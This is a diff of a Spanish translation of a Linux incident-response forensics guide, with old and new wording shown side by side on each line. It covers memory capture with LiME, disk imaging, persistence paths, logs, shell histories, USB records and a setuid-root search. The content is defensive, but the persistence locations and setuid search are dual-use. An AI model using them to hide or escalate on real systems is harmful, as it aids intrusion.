@ -63,11 +64,11 @@ Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**]
Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima. Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima.
{% hint style="info" %} {% hint style="info" %}
Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella.
{% endhint %} {% endhint %}
Entonces, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\ Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente **copia el directorio** `/lib/modules/<versión del kernel>` a tu máquina, y luego **compila** LiME usando esos encabezados: En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/<versión del kernel>` a tu máquina, y luego **compilar** LiME usándolos:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -75,21 +76,21 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME soporta 3 **formatos**: LiME soporta 3 **formatos**:
* Raw (cada segmento concatenado) * Raw (cada segmento concatenado)
* Padded (igual que raw, pero con ceros en los bits derechos) * Padded (igual que raw, pero con ceros en los bits de la derecha)
* Lime (formato recomendado con metadatos) * Lime (formato recomendado con metadatos)
LiME también se puede utilizar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444` LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
### Imagen de Disco ### Imagen de disco
#### Apagado #### Apagado
En primer lugar, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\ Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desenchufar"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede implicar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desenchufa. Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado de "desconectar el enchufe"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desconectar el enchufe" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desconecta el enchufe.
#### Tomar una imagen del disco #### Tomando una imagen del disco
Es importante tener en cuenta que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, debes asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información. Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -100,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
``` ```
### Análisis previo de la imagen del disco ### Análisis previo de la imagen del disco
Crear una imagen del disco sin más datos. Imaging una imagen de disco sin más datos.
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -156,23 +157,23 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy: Accede hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Buscar Malware conocido ## Buscar malware conocido
### Archivos del Sistema Modificados ### Archivos del sistema modificados
Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos. Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos.
* **Sistemas basados en RedHat**: Utilice `rpm -Va` para una verificación exhaustiva. * **Sistemas basados en RedHat**: Usa `rpm -Va` para una verificación completa.
* **Sistemas basados en Debian**: `dpkg --verify` para verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar problemas. * **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema.
### Detectores de Malware/Rootkit ### Detectores de Malware/Rootkit
Lea la siguiente página para conocer herramientas que pueden ser útiles para encontrar malware: Lee la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
@ -180,12 +181,12 @@ Lea la siguiente página para conocer herramientas que pueden ser útiles para e
## Buscar programas instalados ## Buscar programas instalados
Para buscar eficazmente programas instalados en sistemas Debian y RedHat, considere aprovechar los registros y bases de datos del sistema junto con verificaciones manuales en directorios comunes. Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considera aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes.
* Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica. * Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
* Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados. * Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados.
Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados. Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explora directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combina listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando tu búsqueda de todos los programas instalados.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,14 +205,14 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Recuperar Binarios en Ejecución Eliminados ## Recuperar binarios en ejecución eliminados
Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo.
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
@ -237,90 +238,90 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
Rutas donde un malware podría instalarse como un servicio: Rutas donde un malware podría instalarse como un servicio:
- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio. * **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio.
- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones antiguas de Linux. * **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux.
- **/etc/init.d/**: Utilizado en ciertas versiones de Linux como Debian para almacenar scripts de inicio. * **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux. * Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
- **/etc/systemd/system**: Un directorio para scripts del sistema y del administrador de servicios. * **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios.
- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario. * **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario.
- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros. * **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un lugar de ocultación para malware dirigido al usuario. * **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios.
- **/lib/systemd/system/**: Archivos de unidad predeterminados de todo el sistema proporcionados por paquetes instalados. * **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados.
### Módulos del Kernel ### Módulos del Kernel
Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen: Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen:
- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución. * **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos. * **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos. * **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
### Otras Ubicaciones de Inicio Automático ### Otras Ubicaciones de Autoinicio
Linux emplea varios archivos para ejecutar programas automáticamente al iniciar sesión de usuario, potencialmente albergando malware: Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware:
- **/etc/profile.d/**\*, **/etc/profile** y **/etc/bash.bashrc**: Ejecutados para cualquier inicio de sesión de usuario. * **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema se han iniciado, marcando el final de la transición a un entorno multiusuario. * **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario.
## Examinar Registros ## Examinar Registros
Los sistemas Linux registran las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen: Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades en todo el sistema. * **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema.
- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos. * **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
- Utiliza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes. * Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
- **/var/log/boot.log**: Contiene mensajes de inicio del sistema. * **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo electrónico, útil para rastrear servicios relacionados con el correo electrónico. * **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico.
- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias. * **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
- **/var/log/dmesg**: Contiene mensajes de controladores de dispositivos. * **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos.
- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad. * **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de brechas de seguridad.
- **/var/log/cron**: Registra la ejecución de trabajos cron. * **/var/log/cron**: Registra ejecuciones de trabajos cron.
- **/var/log/daemon.log**: Realiza un seguimiento de las actividades de los servicios en segundo plano. * **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano.
- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos. * **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD. * **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL. * **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
- **/var/log/xferlog**: Registra transferencias de archivos FTP. * **/var/log/xferlog**: Registra transferencias de archivos FTP.
- **/var/log/**: Siempre verifica los registros inesperados aquí. * **/var/log/**: Siempre verifica si hay registros inesperados aquí.
{% hint style="info" %} {% hint style="info" %}
Los registros del sistema y los subsistemas de auditoría de Linux pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos rutinariamente los eliminan. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar lagunas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación. Los registros del sistema Linux y los subsistemas de auditoría pueden ser deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación.
{% endhint %} {% endhint %}
**Linux mantiene un historial de comandos para cada usuario**, almacenado en: **Linux mantiene un historial de comandos para cada usuario**, almacenado en:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuario. Revísalo en busca de inicios de sesión desconocidos o inesperados. Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo para inicios de sesión desconocidos o inesperados.
Revisa archivos que pueden otorgar privilegios adicionales: Verifica archivos que pueden otorgar privilegios adicionales:
- Revisa `/etc/sudoers` para privilegios de usuario no anticipados que puedan haber sido otorgados. * Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haber sido otorgados.
- Revisa `/etc/sudoers.d/` para privilegios de usuario no anticipados que puedan haber sido otorgados. * Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haber sido otorgados.
- Examina `/etc/groups` para identificar membresías o permisos de grupo inusuales. * Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales.
- Examina `/etc/passwd` para identificar membresías o permisos de grupo inusuales. * Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales.
Algunas aplicaciones también generan sus propios registros: Algunas aplicaciones también generan sus propios registros:
- **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ para conexiones remotas no autorizadas. * **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ para conexiones remotas no autorizadas.
- **Escritorio Gnome**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome. * **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome.
- **Firefox/Chrome**: Verifica el historial y descargas del navegador en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas. * **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ para actividades sospechosas.
- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda. * **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos. * **Open Office**: Verifica el acceso reciente a documentos que pueda indicar archivos comprometidos.
- **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que podrían ser no autorizadas. * **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que puedan no estar autorizadas.
- **MySQL**: Investiga _\~/.mysql\_history_ para consultas MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos. * **MySQL**: Investiga _\~/.mysql\_history_ para consultas de MySQL ejecutadas, que pueden revelar actividades no autorizadas en la base de datos.
- **Less**: Analiza _\~/.lesshst_ para historial de uso, incluidos archivos vistos y comandos ejecutados. * **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados.
- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en repositorios. * **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en los repositorios.
### Registros USB ### Registros USB
[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB. [**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB.
Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están en esa lista). Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista).
### Instalación ### Instalación
```bash ```bash
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) Más ejemplos e información dentro de GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Accede hoy mismo: Accede hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión ## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión
Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y utilizadas en proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\ Examina el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\ Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\
Finalmente, busca cuentas sin **contraseñas** o con contraseñas **fáciles de adivinar**. Finalmente, busca cuentas con **sin contraseñas** o contraseñas **fácilmente adivinables**.
## Examinar el Sistema de Archivos ## Examinar el Sistema de Archivos
### Analizando Estructuras del Sistema de Archivos en Investigaciones de Malware ### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware
En investigaciones de incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos. Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
Para contrarrestar estos métodos antiforense, es esencial: Para contrarrestar estos métodos anti-forenses, es esencial:
* Realizar un **análisis detallado de la línea de tiempo** utilizando herramientas como **Autopsy** para visualizar las líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para obtener datos detallados de la línea de tiempo. * **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados.
* Investigar **scripts inesperados** en la variable $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes. * **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
* Examinar `/dev` en busca de archivos atípicos, ya que tradicionalmente contiene archivos especiales, pero podría contener archivos relacionados con malware. * **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware.
* Buscar archivos o directorios ocultos con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso. * **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
* Identificar archivos setuid root con el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes. * **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
* Revisar las marcas de tiempo de eliminación en las tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos. * **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
* Inspeccionar inodos consecutivos en busca de archivos maliciosos cercanos después de identificar uno, ya que podrían haber sido colocados juntos. * **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos.
* Verificar archivos modificados recientemente en directorios binarios comunes (_/bin_, _/sbin_), ya que podrían ser alterados por malware. * **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -375,16 +376,16 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
Ten en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inode**. Si descubres que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**. Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero **no puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
{% endhint %} {% endhint %}
## Comparar archivos de diferentes versiones de sistemas de archivos ## Comparar archivos de diferentes versiones del sistema de archivos
### Resumen de Comparación de Versiones de Sistemas de Archivos ### Resumen de comparación de versiones del sistema de archivos
Para comparar versiones de sistemas de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`: Para comparar versiones del sistema de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`:
* **Para encontrar archivos nuevos**, compara dos directorios: * **Para encontrar nuevos archivos**, compare dos directorios:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
@ -396,13 +397,13 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **Opciones de filtro** (`--diff-filter`) ayudan a reducir los cambios específicos como archivos añadidos (`A`), eliminados (`D`), o modificados (`M`). * **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`).
* `A`: Archivos añadidos * `A`: Archivos añadidos
* `C`: Archivos copiados * `C`: Archivos copiados
* `D`: Archivos eliminados * `D`: Archivos eliminados
* `M`: Archivos modificados * `M`: Archivos modificados
* `R`: Archivos renombrados * `R`: Archivos renombrados
* `T`: Cambios de tipo (por ejemplo, archivo a enlace simbólico) * `T`: Cambios de tipo (por ejemplo, de archivo a symlink)
* `U`: Archivos no fusionados * `U`: Archivos no fusionados
* `X`: Archivos desconocidos * `X`: Archivos desconocidos
* `B`: Archivos rotos * `B`: Archivos rotos
